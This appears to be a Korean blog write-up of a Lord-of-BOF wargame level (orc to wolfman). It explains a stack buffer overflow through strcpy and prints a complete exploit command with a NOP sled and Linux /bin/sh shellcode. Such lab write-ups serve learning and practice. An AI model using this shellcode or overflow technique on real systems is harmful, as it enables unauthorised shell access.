BOF redhat 원정대 orc -> wolfman
wolfman, wolfman.c
이전 문제에서 추가된 부분은 buffer hunter부분으로 strcpy이후 버퍼를 40바이트 초기화 시켜 버퍼안에 쉘코드를 넣는다면 쉘코드가 초기화 될 수 있다.
argv를 1개 이상 받을 수 있고 RET가 \xbf로 시작해야지 한다. 이 조건을 충족하면 문자열 길이를 검사하지 않는 strcpy를 이용하여 RET를 덮을 수 있다.
buffer hunter 때문에 쉘코드를 입력값에 앞부분 40바이트에 넣을 수 없다. 뒤에 넣자.
[버퍼][SFP][RET]
[ 버퍼 ][RET][쉘코드]
이렇게 작성하고 RET를 쉘코드 있는 주소로 덮으면 공격에 성공 할 수 있다.
A 44개로 정상적인 버퍼와 SFP를 덮는다 RET에는 bfbfbfbf를 넣어 조건을 충족시킨다.
그리고 B를 24개 넣어서 쉘코드가 들어갈 주소를 확인해보았다. 쉘코드가 들어갈 시작주소는 0xbffffae0다.
성공 확률을 높이기 위해서 놉을 50 개넣고 공격을 실행해 보았다.
공격이 성공 하여 쉘을 얻을 수 있었다.
쉘코드 :
./wolfman `python -c 'print "A"*44 + "\xe0\xfa\xff\xbf" + "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
puts@plt + 0에 puts@plt + 6의 주소가 들어있어서 호출되면 puts@plt+6의 코드가 실행 puts@plt + 11 에서 점프하면 pushl, jmp로 분기된다. pushl로 GOT+4의 주소를 스택에 넣고 GOT+8의 주소로...
-
Bigbof.c source code Stack Frame Redhat 6.2 vuln : stack overflow vuln func : strcpy() 24byte shellcode exploit code : ...
-
bof redhat 원정대 gate -> gremlin /home/gate 디렉터리에 들어가보면 gremlin, gremlin.c 파일이 있다. strcpy함수가 보인다. argv[1]을 buffer로 복사하는데 길이를 체...
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
fedora 원정대 core 3 hell_fire -> evil_wizard evil_wizard.c hint 를 보면 GOT overwritting이 써있다. GOT overwritting 공격을 시도하여 쉘을 얻을 수 있다. ...



좋은 내용 감사합니다 하지만 목차가 불편하군요 즹구찡
답글삭제